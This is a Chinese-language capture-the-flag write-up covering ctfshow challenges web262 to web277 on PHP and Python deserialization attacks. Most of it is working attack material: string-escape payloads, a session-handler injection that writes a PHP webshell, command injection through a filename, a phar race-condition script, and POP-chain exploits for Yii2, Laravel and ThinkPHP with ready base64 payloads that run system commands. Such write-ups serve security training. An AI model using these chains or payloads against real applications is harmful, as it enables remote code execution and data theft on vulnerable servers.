但是,token初始化的值是user,且在construct中是没有token的初始化的,所以只能利用字符串的缩短来实现替换token的值,可以看出来与上面相比是少了一个字符的,但是我们想要的效果是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
将s:5:"token";s:5:"admin";}插入到
O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:4:"user";}中

<?php
class message{
public $from='1';
public $msg='2';
public $to='3";s:5:"token";s:5:"admin";}';//多了27个字符
public $token='user';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:28:"3";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

但是整条语句是存在逻辑问题的:

在s:28:”3”;这个地方,正常逻辑是3只有一个字符,但是却被标注为28个,那么在反序列化的时候,就会出现报错,但是此题在反序列化之前会对msg的参数进行替换操作,会将4个字符的fuck替换5个关字符的loveu,这样的话本来缺少的27个字符,就会被经过增加替换而多出来的27个字符顶替,正好满足136=109(love)+27(u),而后面的27个字符也就顺理成章的替换了后面的token

1
2
3
4
5
6
7
8
9
10
11
<?php
class message{
public $from='1';
public $msg='2';
public $to='3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';//此处有27个fuck=109+27=136
public $token='user';
}
$a = new message();
print_r(serialize($a));
?>
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:136:"3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
1
?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php就可以得到flag

web263

考察session反序列化,使用前提:

使用 ini_set 指定了 serialize_handlerphp,如果默认的 serialize_handlerphp_serialize,就可以通过在序列化的字符串之前加 |,反序列化任意对象。(注意:在 php 5.5.4 以前默认选择的是 php5.5.4 之后就是 php_serialize

  • php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值

现在开始看题,www.zip源码泄露

inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
'database_type' => 'mysql',
'database_name' => 'web',
'server' => 'localhost',
'username' => 'root',
'password' => 'root',
'charset' => 'utf8',
'port' => 3306,
'prefix' => '',
'option' => [
PDO::ATTR_CASE => PDO::CASE_NATURAL
]
]);

// sql注入检查
function checkForm($str){
if(!isset($str)){
return true;
}else{
return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
}
}


class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function uuid()
{
$chars = md5(uniqid(mt_rand(), true));
$uuid = substr ( $chars, 0, 8 ) . '-'
. substr ( $chars, 8, 4 ) . '-'
. substr ( $chars, 12, 4 ) . '-'
. substr ( $chars, 16, 4 ) . '-'
. substr ( $chars, 20, 12 );
return $uuid ;
}

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>

check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

if($GET){

$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}

首先访问首页,获得 cookie,同时建立 session,再通过cookie manager将 $COOKIE['limit'] 中构造 |+序列化对象 的字符串,通过访问 check.php 加载的 inc.php 中的 ini_set('session.serialize_handler', 'php');sessionsession.serialize_handler=php 的格式反序列化,执行 User 类的 __destruct 方法写 shell

访问1.php审查元素查看flag

payload

1
2
3
4
5
6
7
8
9
10
<?php
class User{
public $username="admin/../../../../../../../../../../var/www/html/1.php"; //其实这里改成1.php就可以了
public $password="<?php system('cat flag.php');?>";
public $status;

}
$a = new User();
$c = "|".serialize($a);
echo urlencode(base64_encode($c));

web264

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}

if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}

相比web262,message.php文件改用了$_SESSION而不是COOKIE,也就是不能想之前那也直接在message.php传cookie来反序列化了

直接用反序列化字符串逃逸

1
?f=1&m=1&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

记得访问message.php查看flag是,需要再传一个cookie msg=1;

详细做法web262已经讲过了

web265

考察反序列化中指针引用:&

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php


error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;

public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
echo $flag;
}

token被赋值随机数的md5值,还需要token与password相等(强比较),很明显不能直接才password的值

这时候就该指针派上用场了,例如:

1
$HEY->age=&$HEY->name; //&将name的地址传给 age,所以age的值是跟着name的变化而变化

所以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){ //__construct()初始化赋值
$this->password=&$this->token;
$this->token='a';
}}

$a=serialize(new ctfshowAdmin());
print_r($a);
?>

payload:
?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}

这两种方式都可以

1
2
3
4
5
6
7
8
9
10
<?php

class ctfshowAdmin{
public $token;
public $password;
}

$c = new ctfshowAdmin();
$c->password = &$c->token;
var_dump(urlencode(serialize($c)));

web266

知识点:php的类对大小写不敏感

1
2
3
区分大小写的: 变量名、常量名、数组索引(键名key)

不区分大小写的:函数名、方法名、类名、魔术常量、NULLFALSETRUE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php


highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

可以直观的看到ctfshow类中的destruct会输出flag,也就是说只要调用ctfshow类就能输出flag了,但

1
2
3
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}

该正则匹配会抛出错误,使程序没法正常进行

所以这个就可以用大小写绕过,那怎么传序列化参数呢

1
$cs = file_get_contents('php://input');

这样通过post直接传就行了

1
2
3
4
5
6
7
<?php
class Ctfshow{};
$a = new Ctfshow();
echo serialize($a);
?>

//O:7:"Ctfshow":0:{}

web267

Yii 框架的反序列化漏洞。

Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。

影响范围:Yii2 <2.0.38

可以参考Yii2 反序列化漏洞(CVE-2020-15148)复现_yii2 漏洞_锋刃科技的博客-CSDN博客

为什么漏扫扫不出来哈哈哈哈,可以用工具生成poc:ambionics/phpggc(github.com)
首先 admin/admin 弱密码登录,然后在 /index.php?r=site/about 可以看到注释里面有一个 ?view-source,加上之后访问 /index.php?r=site%2Fabout&view-source 看到一个反序列化的点 backdoor/shell unserialize(base64_decode($_GET['code'])),随便搜一个反序列化的 pop 链打一下。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;

public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'cp /flag 3.txt';
}
}
}

namespace Faker{
use yii\rest\CreateAction;

class Generator{
protected $formatters;

public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}

namespace yii\db{
use Faker\Generator;

class BatchQueryResult{
private $_dataReader;

public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

payload

1
/index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19

访问3.txt就可以了

web268

和上一题一样,就是多了些过滤:flag>同时不能用BatchQueryResult

稍微改一下poc就能用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'cp /f* 2.txt';
}
}
}
namespace Faker {

use yii\rest\IndexAction;

class Generator
{
protected $formatters;

public function __construct()
{
$this->formatters['isRunning'] = [new IndexAction(), 'run'];
}
}
}
namespace Codeception\Extension{

use Faker\Generator;

class RunProcess
{
private $processes = [];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{


use Codeception\Extension\RunProcess;

echo base64_encode(serialize(new RunProcess()));
}
1
/index.php?r=backdoor%2Fshell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjQ6ImV4ZWMiO3M6MjoiaWQiO3M6MTI6ImNwIC9mKiAyLnR4dCI7fWk6MTtzOjM6InJ1biI7fX19fX0=

web269

一样,换个poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* bit.txt'); //此处写命令
echo(base64_encode(serialize($exp)));
}

1
/index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxNDoiY3AgL2YqIGJpdC50eHQiO31pOjE7czozOiJydW4iO319fQ==

web270

同web269

web271

Laravel5.7 反序列化漏洞

用工具phpggc就好了,window终端不行,直接在git bash上搞

1
2
./phpggc Laravel/RCE6 "system('cat /flag');" --url
data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B+exit%3B+%3F%3E%22%3B%7D%7D%7D%7D

也可以用poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;

public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}

namespace Faker {
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}

namespace Illuminate\Foundation {
class Application
{
protected $instances = [];

public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}

namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

$app = new Illuminate\Foundation\Application();

$application = new Illuminate\Foundation\Application($app);

$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami')); //此处执行命令

echo urlencode(serialize($pendingcommand));
}

web272

Laravel5.8 反序列化漏洞

1
./phpggc -l Laravel

查看对应的版本,还是上题的poc就可以

1
data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B+exit%3B+%3F%3E%22%3B%7D%7D%7D%7D

web273

一样

1
./phpggc Laravel/RCE6 "system('cat /flag');" --url

web274

Thinkphp5.1反序列化漏洞

上工具

1
./phpggc Thinkphp/RCE1 "system" "tac /flag" --base64
1
?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJzbWkxZSI7czo5OiJ0YWMgL2ZsYWciO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo1OiJzbWkxZSI7czo2OiJzeXN0ZW0iO31zOjk6IgAqAGFwcGVuZCI7YToxOntzOjU6InNtaTFlIjtzOjE6IjEiO319fX0=

直接拿下!脚本小子就是舒服

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files[]=new Pivot();
}
}
}

namespace think{
abstract class Model{
private $data = [];
protected $append = [];
public function __construct()
{
$this->data=array(
'autumn'=>new Request()
);
$this->append=array(
'autumn'=>array(
'hello'=>'world'
)
);

}

}
}

namespace think\model{
use think\Model;
class Pivot extends Model{

}
}
namespace think{
class Request{
protected $hook = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $filter;
public function __construct()
{
$this->hook['visible']=[$this,'isAjax'];
$this->filter='system';
}

}
}

namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
1
data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo2OiJhdXR1bW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6NTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJhdXR1bW4iO2E6MTp7czo1OiJoZWxsbyI7czo1OiJ3b3JsZCI7fX19fX0=&autumn=cat /flag

web275

考点:分号实现字符拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}
1
system('rm '.$this->filename); //用分号来截断
1
?fn=1.php%3btac flag.php

相比红包挑战7就不能用分号截断来做

1
2
3
4
system(
"ls '".filter($_GET[1])."'"
);
ls '1.php' // 无法截断

web276

考点:phar反序列化

默认开启版本 PHP version >= 5.3

当发现没有unserilize()来进行反序列化,可以使用phar反序列化

利用条件:

1、phar文件能够上传至服务器
//即要求存在file_get_contents()、fopen()这种函数

2、要有可利用的魔术方法

3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
//一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是Phar://这种,如果这几个特殊字符被过滤就无法实现反序列化

4、php.ini中的phar.readonly选项,需要为Off(默认是on)。

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包,它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data,配合phar://协议使用。

可以看看相关资料:https://www.cnblogs.com/CoLo/p/16786627.html

浅析Phar反序列化 - FreeBuf网络安全行业门户

初探phar:// - 先知社区 (aliyun.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

highlight_file(__FILE__);

class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;

public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}

if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

需要让admin的值为true,但没有反序列的地方,可以用phar

先在 php.ini 配置 phar.readonly = Off,通过PHP脚本生成phar包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class filter{
public $filename="1.txt;tac f*;";
public $filecontent;
public $evilfile=true;
public $admin = true;
}
$a=new filter();

$phar = new Phar("phar.phar"); //后缀名需要为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

但会删除上传的临时文件

1
2
3
4
5
6
7
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

所以可以用条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import threading
url="http://66155619-f7c6-4fb4-acf1-d196be37cdb8.chall.ctf.show:8080/"
f=open("./phar.phar","rb")
content=f.read()
def upload(): #上传1.phar,内容是本地文件:phar.phar
requests.post(url=url+"?fn=1.phar",data=content)
def read(): #利用条件竞争,尝试phar://反序列化1.phar,1.phar没被删除就能被反序列化,因而就能执行system()函数从而执行我们的命令
r = requests.post(url=url+"?fn=phar://1.phar/",data="1")
if "ctfshow{"in r.text or "flag{" in r.text:
print(r.text)
exit()
while 1:
t1=threading.Thread(target=upload)
t2=threading.Thread(target=read)
t1.start()
t2.start()

web277

python反序列化漏洞[一篇文章带你理解漏洞之 Python 反序列化漏洞 | K0rz3n’s Blog](https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之Python 反序列化漏洞/)

注释

1
<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->

